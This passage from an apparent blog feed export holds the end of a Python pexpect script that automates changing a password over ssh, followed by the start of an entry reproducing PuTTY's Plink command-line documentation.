#f9fbfc !important; "&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;ssh&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;.&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;expect&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: olive; "&gt;(&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #8b0000; "&gt;'&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: red; "&gt;New Password:&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #8b0000; "&gt;'&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: olive; "&gt;)&lt;/span&gt;&lt;/li&gt;&lt;li style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 12px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; list-style-type: none !important; display: list-item !important; font-size: 12px !important; line-height: 20px !important; border-left-width: 1px; border-left-style: solid; border-left-color: #c3ced9; border-top-width: 1px; border-top-style: solid; border-top-color: #e3eef9 !important; background-color: #f9fbfc !important; "&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;ssh&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;.&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;sendline&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: olive; "&gt;(&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;newpwd&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: olive; "&gt;)&lt;/span&gt;&lt;/li&gt;&lt;li style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 12px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; list-style-type: none !important; display: list-item !important; font-size: 12px !important; line-height: 20px !important; border-left-width: 1px; border-left-style: solid; border-left-color: #c3ced9; border-top-width: 1px; border-top-style: solid; border-top-color: #e3eef9 !important; background-color: #f9fbfc !important; "&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;ssh&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;.&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;expect&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: olive; "&gt;(&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #8b0000; "&gt;'&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: red; "&gt;Reenter New Password:&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #8b0000; "&gt;'&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: olive; "&gt;)&lt;/span&gt;&lt;/li&gt;&lt;li style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 12px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; list-style-type: none !important; display: list-item !important; font-size: 12px !important; line-height: 20px !important; border-left-width: 1px; border-left-style: solid; border-left-color: #c3ced9; border-top-width: 1px; border-top-style: solid; border-top-color: #e3eef9 !important; background-color: #f9fbfc !important; "&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;ssh&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;.&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;sendline&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: olive; "&gt;(&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;newpwd&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: olive; "&gt;)&lt;/span&gt;&lt;/li&gt;&lt;li style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 12px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; list-style-type: none !important; display: list-item !important; font-size: 12px !important; line-height: 20px !important; border-left-width: 1px; border-left-style: solid; border-left-color: #c3ced9; border-top-width: 1px; border-top-style: solid; border-top-color: #e3eef9 !important; background-color: #f9fbfc !important; "&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;r&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;ssh&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;.&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;read&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: olive; "&gt;()&lt;/span&gt;&lt;/li&gt;&lt;li style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 12px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; list-style-type: none !important; display: list-item !important; font-size: 12px !important; line-height: 20px !important; border-left-width: 1px; border-left-style: solid; border-left-color: #c3ced9; border-top-width: 1px; border-top-style: solid; border-top-color: #e3eef9 !important; background-color: #f9fbfc !important; "&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;ret&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: maroon; "&gt;0&lt;/span&gt;&lt;/li&gt;&lt;li style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 12px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; list-style-type: none !important; display: list-item !important; font-size: 12px !important; line-height: 20px !important; border-left-width: 1px; border-left-style: solid; border-left-color: #c3ced9; border-top-width: 1px; border-top-style: solid; border-top-color: #e3eef9 !important; background-color: #f9fbfc !important; "&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;except&lt;/span&gt;&amp;nbsp;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;pexpect&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;.&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;EOF&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;:&lt;/span&gt;&lt;/li&gt;&lt;li style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 12px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; list-style-type: none !important; display: list-item !important; font-size: 12px !important; line-height: 20px !important; border-left-width: 1px; border-left-style: solid; border-left-color: #c3ced9; border-top-width: 1px; border-top-style: solid; border-top-color: #e3eef9 !important; background-color: #f9fbfc !important; "&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;print&lt;/span&gt;&amp;nbsp;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #8b0000; "&gt;"&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: red; "&gt;EOF&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #8b0000; "&gt;"&lt;/span&gt;&lt;/li&gt;&lt;li style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 12px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; list-style-type: none !important; display: list-item !important; font-size: 12px !important; line-height: 20px !important; border-left-width: 1px; border-left-style: solid; border-left-color: #c3ced9; border-top-width: 1px; border-top-style: solid; border-top-color: #e3eef9 !important; background-color: #f9fbfc !important; "&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;ssh&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;.&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;close&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: olive; "&gt;()&lt;/span&gt;&lt;/li&gt;&lt;li style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 12px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; list-style-type: none !important; display: list-item !important; font-size: 12px !important; line-height: 20px !important; border-left-width: 1px; border-left-style: solid; border-left-color: #c3ced9; border-top-width: 1px; border-top-style: solid; border-top-color: #e3eef9 !important; background-color: #f9fbfc !important; "&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;ret&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;&amp;nbsp;= -&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: maroon; "&gt;1&lt;/span&gt;&lt;/li&gt;&lt;li style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 12px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; list-style-type: none !important; display: list-item !important; font-size: 12px !important; line-height: 20px !important; border-left-width: 1px; border-left-style: solid; border-left-color: #c3ced9; border-top-width: 1px; border-top-style: solid; border-top-color: #e3eef9 !important; background-color: #f9fbfc !important; "&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;except&lt;/span&gt;&amp;nbsp;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;pexpect&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;.&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;TIMEOUT&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;:&lt;/span&gt;&lt;/li&gt;&lt;li style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 12px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; list-style-type: none !important; display: list-item !important; font-size: 12px !important; line-height: 20px !important; border-left-width: 1px; border-left-style: solid; border-left-color: #c3ced9; border-top-width: 1px; border-top-style: solid; border-top-color: #e3eef9 !important; background-color: #f9fbfc !important; "&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;print&lt;/span&gt;&amp;nbsp;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #8b0000; "&gt;"&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: red; "&gt;TIMEOUT&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #8b0000; "&gt;"&lt;/span&gt;&lt;/li&gt;&lt;li style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 12px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; list-style-type: none !important; display: list-item !important; font-size: 12px !important; line-height: 20px !important; border-left-width: 1px; border-left-style: solid; border-left-color: #c3ced9; border-top-width: 1px; border-top-style: solid; border-top-color: #e3eef9 !important; background-color: #f9fbfc !important; "&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;ssh&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;.&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;close&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: olive; "&gt;()&lt;/span&gt;&lt;/li&gt;&lt;li style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 12px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; list-style-type: none !important; display: list-item !important; font-size: 12px !important; line-height: 20px !important; border-left-width: 1px; border-left-style: solid; border-left-color: #c3ced9; border-top-width: 1px; border-top-style: solid; border-top-color: #e3eef9 !important; background-color: #f9fbfc !important; "&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;ret&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;&amp;nbsp;= -&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: maroon; "&gt;2&lt;/span&gt;&lt;/li&gt;&lt;li style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 12px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; list-style-type: none !important; display: list-item !important; font-size: 12px !important; line-height: 20px !important; border-left-width: 1px; border-left-style: solid; border-left-color: #c3ced9; border-top-width: 1px; border-top-style: solid; border-top-color: #e3eef9 !important; background-color: #f9fbfc !important; "&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: green; "&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;ret&lt;/span&gt;&lt;/li&gt;&lt;li style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 12px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; list-style-type: none !important; display: list-item !important; font-size: 12px !important; line-height: 20px !important; border-left-width: 1px; border-left-style: solid; border-left-color: #c3ced9; border-top-width: 1px; border-top-style: solid; border-top-color: #e3eef9 !important; background-color: #f9fbfc !important; "&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;参考：&lt;/span&gt;&lt;a href="http://www.ibm.com/developerworks/cn/linux/l-cn-pexpect1/"&gt;http://www.ibm.com/developerworks/cn/linux/l-cn-pexpect1/&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/span&gt;&lt;/div&gt;&lt;img src="http://www.cnblogs.com/cursorkey/aggbug/2125635.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/cursorkey/archive/2011/08/02/2125635.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/cursorkey/archive/2011/08/02/2125623.html</id><title type="text">Using the command-line connection tool Plink</title><summary type="text">Plink (PuTTY Link) is a command-line connection tool similar to UNIXssh. It is mostly used for automated operations, such as making CVS access a repository on a remote server.Plink is probably not what you want if you want to run an interactive session in a console window.7.1 Starting PlinkPlink is </summary><published>2011-08-02T15:24:00Z</published><updated>2011-08-02T15:24:00Z</updated><author><name>Cursorkey</name><uri>http://www.cnblogs.com/cursorkey/</uri></author><link rel="alternate" href="http://www.cnblogs.com/cursorkey/archive/2011/08/02/2125623.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/cursorkey/archive/2011/08/02/2125623.html"/><content type="html">&lt;div&gt;&lt;p&gt;&lt;strong&gt;&lt;span  style="font-family: Simsun; font-weight: normal; line-height: normal; font-size: medium; "&gt;&lt;a name="i0" style="width: 20px; height: 20px; text-indent: 20px; background-image: url(http://www.cnblogs.com/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;amp;file=anchor.gif); background-repeat: no-repeat no-repeat; "&gt;&lt;/a&gt;&lt;/span&gt;&lt;span  style="font-family: Simsun; font-weight: normal; line-height: normal; font-size: medium; "&gt;Plink (PuTTY Link) is a command-line connection tool similar to UNIX&amp;nbsp;&lt;/span&gt;&lt;span  style="font-family: Simsun; font-weight: normal; line-height: normal; font-size: medium; "&gt;&lt;code&gt;ssh&lt;/code&gt;&lt;/span&gt;&lt;span  style="font-family: Simsun; font-weight: normal; line-height: normal; font-size: medium; "&gt;. It is mostly used for automated operations, such as making CVS access a repository on a remote server.&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;Plink is probably not what you want if you want to run an interactive session in a console window.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;a name="S7.1" style="width: 20px; height: 20px; text-indent: 20px; background-image: url(http://www.cnblogs.com/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;amp;file=anchor.gif); background-repeat: no-repeat no-repeat; "&gt;&lt;/a&gt;7.1 Starting Plink&lt;/strong&gt;&lt;/p&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;Plink is a command line application. This means that you cannot just double-click on its icon to run it and instead you have to bring up a&amp;nbsp;&lt;a name="i1" style="width: 20px; height: 20px; text-indent: 20px; background-image: url(http://www.cnblogs.com/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;amp;file=anchor.gif); background-repeat: no-repeat no-repeat; "&gt;&lt;/a&gt;console window. In Windows 95, 98, and ME, this is called an &amp;#255;MS-DOS Prompt&amp;#255;, and in Windows NT and 2000 it is called a &amp;#255;Command Prompt&amp;#255;. It should be 